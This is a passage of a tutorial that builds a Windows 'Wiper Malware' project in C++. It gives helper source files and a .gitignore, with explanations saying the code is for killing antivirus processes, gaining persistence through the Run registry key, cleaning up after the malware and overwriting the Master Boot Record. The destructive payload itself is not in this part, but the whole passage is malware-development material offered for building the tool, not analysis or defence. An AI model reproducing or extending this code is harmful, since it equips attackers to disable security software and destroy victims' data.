## Now ```utils.cpp``` and ```utils.h```
Code for utils.cpp and utils.h, which provides utility functions that support the main malware functionality. These utility functions will be reusable across different parts of our Wiper Malware project, ensuring clean and maintainable code.The ```utils.cpp``` and ```utils.h``` files typically contain helper functions such as:
#### * File handling for malware payloads.
#### * Process management to check for running processes or kill them.
#### * Registry manipulation for persistence.
#### * Error handling functions to log or display errors.## utils.h (Header File)
```
#ifndef UTILS_H
#define UTILS_H#include
#include// Utility function declarations
std::string GetLastErrorAsString(); // Converts Windows error codes into readable strings
bool FileExists(const std::string& fileName); // Check if a file exists
bool KillProcessByName(const std::string& processName); // Terminates a process by its name
bool SetRegistryKeyValue(HKEY hKeyRoot, const std::string& subKey, const std::string& valueName, const std::string& valueData); // Set registry key
bool DeleteRegistryKey(HKEY hKeyRoot, const std::string& subKey); // Delete registry key#endif // UTILS_H
```
### Explanation:
#### * GetLastErrorAsString(): Converts Windows error codes into human-readable strings for better error reporting.
#### * FileExists(): Checks if a file exists on the system.
#### * KillProcessByName(): Terminates a process by its name.
#### * SetRegistryKeyValue(): Adds or modifies a registry key for persistence or other actions.
#### * DeleteRegistryKey(): Deletes a registry key, useful for cleaning up after the malware.## utils.cpp (Source File)
```
#include "utils.h"
#include
#include
#include
#include// Function to get the last error as a human-readable string
std::string GetLastErrorAsString() {
DWORD errorCode = GetLastError();
if (errorCode == 0) {
return "No error"; // No error
}LPSTR errorBuffer = nullptr;
size_t size = FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, errorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&errorBuffer, 0, NULL);std::string errorMessage(errorBuffer, size);
LocalFree(errorBuffer);
return errorMessage;
}// Function to check if a file exists
bool FileExists(const std::string& fileName) {
DWORD fileAttr = GetFileAttributesA(fileName.c_str());
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
std::cerr << "[!] File not found: " << fileName << std::endl;
return false;
}
return true;
}// Function to kill a process by its name
bool KillProcessByName(const std::string& processName) {
std::cout << "[*] Attempting to kill process: " << processName << std::endl;HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "[!] Unable to create process snapshot. Error: " << GetLastErrorAsString() << std::endl;
return false;
}PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe)) {
do {
if (processName == pe.szExeFile) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
if (hProcess == NULL) {
std::cerr << "[!] Failed to open process for termination. Error: " << GetLastErrorAsString() << std::endl;
CloseHandle(hSnapshot);
return false;
}if (TerminateProcess(hProcess, 0)) {
std::cout << "[*] Process " << processName << " terminated." << std::endl;
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return true;
} else {
std::cerr << "[!] Failed to terminate process: " << processName << ". Error: " << GetLastErrorAsString() << std::endl;
CloseHandle(hProcess);
}
}
} while (Process32Next(hSnapshot, &pe));
}CloseHandle(hSnapshot);
std::cerr << "[!] Process not found: " << processName << std::endl;
return false;
}// Function to set a registry key value
bool SetRegistryKeyValue(HKEY hKeyRoot, const std::string& subKey, const std::string& valueName, const std::string& valueData) {
HKEY hKey;
LONG lResult = RegCreateKeyExA(hKeyRoot, subKey.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
if (lResult != ERROR_SUCCESS) {
std::cerr << "[!] Failed to create or open registry key: " << subKey << ". Error: " << GetLastErrorAsString() << std::endl;
return false;
}lResult = RegSetValueExA(hKey, valueName.c_str(), 0, REG_SZ, (const BYTE*)valueData.c_str(), (DWORD)(valueData.size() + 1));
if (lResult != ERROR_SUCCESS) {
std::cerr << "[!] Failed to set registry value: " << valueName << ". Error: " << GetLastErrorAsString() << std::endl;
RegCloseKey(hKey);
return false;
}RegCloseKey(hKey);
std::cout << "[*] Registry key value set: " << subKey << "\\" << valueName << std::endl;
return true;
}// Function to delete a registry key
bool DeleteRegistryKey(HKEY hKeyRoot, const std::string& subKey) {
LONG lResult = RegDeleteKeyA(hKeyRoot, subKey.c_str());
if (lResult != ERROR_SUCCESS) {
std::cerr << "[!] Failed to delete registry key: " << subKey << ". Error: " << GetLastErrorAsString() << std::endl;
return false;
}std::cout << "[*] Registry key deleted: " << subKey << std::endl;
return true;
}```
### Explanation of the Functions:
#### 1. GetLastErrorAsString():
* Converts a Windows error code into a human-readable string for more informative error logging. This is important in malware development to understand why certain operations might fail.
#### 2. FileExists():
* Checks whether a file exists using the GetFileAttributesA function. This can be useful when the malware needs to verify the presence of a critical file, such as a payload or configuration file.
#### 3. KillProcessByName():
* This function enumerates all running processes using CreateToolhelp32Snapshot and Process32First/Process32Next APIs. If it finds a process with the given name, it attempts to terminate it.
This is important for disabling antivirus processes or other software that might interfere with the malware's operation.#### 4. SetRegistryKeyValue():
* This function creates or opens a registry key and sets a value. It can be used for persistence by adding an entry to the Run key, allowing the malware to execute each time the system boots.
Example registry path: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.#### 5. DeleteRegistryKey():
Deletes a specified registry key. This could be used during the malware's self-destruction phase to clean up after itself and remove any persistence mechanisms.
## Now common.h and .gitignore
Code for common.h and .gitignore to ensure the overall malware project is structured properly and follows professional standards for development.
## ```common.h```
The ```common.h``` file is meant to store common constants, macros, data structures, and functions that are shared across multiple files in the malware project. This ensures a centralized place for critical definitions and reduces redundancy.```
#ifndef COMMON_H
#define COMMON_H#include
#include
#include// Constants
const std::string MALWARE_NAME = "WiperMalware";
const std::string MALWARE_VERSION = "1.0";// MBR Size Constants
const int MBR_SIZE = 512; // Size of the Master Boot Record// Privilege Escalation Constants
const std::string SYSTEM_PROCESS_NAME = "System";
const DWORD SYSTEM_PID = 4; // Usually the PID of the System process on Windows// Utility Macros
#define SAFE_DELETE(ptr) if (ptr) { delete ptr; ptr = nullptr; }
#define SAFE_CLOSE_HANDLE(handle) if (handle) { CloseHandle(handle); handle = nullptr; }// Function prototypes
void LogError(const std::string& msg); // Log error messages to the console
void LogInfo(const std::string& msg); // Log info messages to the console
void SleepRandom(int minMs, int maxMs); // Sleep for a random duration between minMs and maxMs#endif // COMMON_H
```
### Explanation:
#### 1. Constants:
* MALWARE_NAME and MALWARE_VERSION store the malware name and version for logging purposes.
* MBR_SIZE: Defines the size of the Master Boot Record (512 bytes) for the MBR overwrite.
* SYSTEM_PROCESS_NAME and SYSTEM_PID: Defines the name and PID of the System process, typically used for privilege escalation.#### 2. Macros:
* SAFE_DELETE ensures safe deletion of dynamically allocated memory by checking if the pointer is non-null before deletion.
* SAFE_CLOSE_HANDLE safely closes Windows handles, ensuring no resource leaks.#### 3. Function Prototypes:
* LogError(): Logs error messages to the console.
* LogInfo(): Logs information messages.
* SleepRandom(): Makes the malware sleep for a random duration to add unpredictability.## .gitignore
A ```.gitignore``` file is essential in professional development to avoid committing unnecessary or sensitive files to version control systems (like Git). For a malware project, certain files (e.g., binaries, object files, temporary files) should never be included in the repository.```
# Ignore Windows specific temporary and system files
Thumbs.db
ehthumbs.db
Desktop.ini# Ignore all executables
*.exe
*.dll
*.so
*.dylib# Ignore object files and compiled code
*.obj
*.o
*.pdb
*.ilk
*.map
*.idb
*.exp
*.lib
*.log# Ignore IDE project files
*.sln
*.vcxproj
*.vcxproj.filters
*.vcxproj.user
*.user
*.csproj# Ignore build folders
/build/
/bin/
/Debug/
/Release/# Ignore temporary files created by editors
*.bak
*.tmp
*.swp
*.swo
*.log# Ignore malware-related test files
*.vmdk
*.vmem
*.vmsd
*.vmss
*.vmsn
*.nvram# Ignore sensitive files
secrets.txt
passwords.txt# Ignore crash dumps
*.dmp# Ignore Visual Studio Code folders
.vscode/
*.code-workspace# Ignore malware signatures or other tools
*.sig
*.yara# Ignore backup or temp files created by the malware during testing
/tmp/
backup_*.*```
### Explanation:
#### 1. Windows Temp Files: Files like Thumbs.db, ehthumbs.db, and Desktop.ini are Windows system files and should not be included in the repository.
#### 2. Executables: *.exe, *.dll, *.so, *.dylib ignore compiled binary files. You don’t want these in the source control repository.
#### 3. Object and Intermediate Files: *.obj, *.o, and other related files are artifacts created during the compilation process and should be ignored.
#### 4. IDE Project Files: Files specific to IDEs like Visual Studio (*.sln, *.vcxproj, etc.) are often user-specific and should not be shared.
#### 5. Build Folders: Ignoring entire build or output directories, such as /build/, /bin/, /Debug/, and /Release/.
#### 6. Temporary Files: Ignoring temp files created by editors (*.bak, *.tmp, etc.) or the operating system.
#### 7. Virtual Machine Files: Ignoring virtual machine image files (*.vmdk, *.vmem, etc.) to prevent sharing massive test environments or potentially damaging images.
#### 8. Sensitive Files: Files containing sensitive information (secrets.txt, passwords.txt) should never be committed.
#### 9. Crash Dumps: *.dmp to ignore crash dump files from failed malware tests.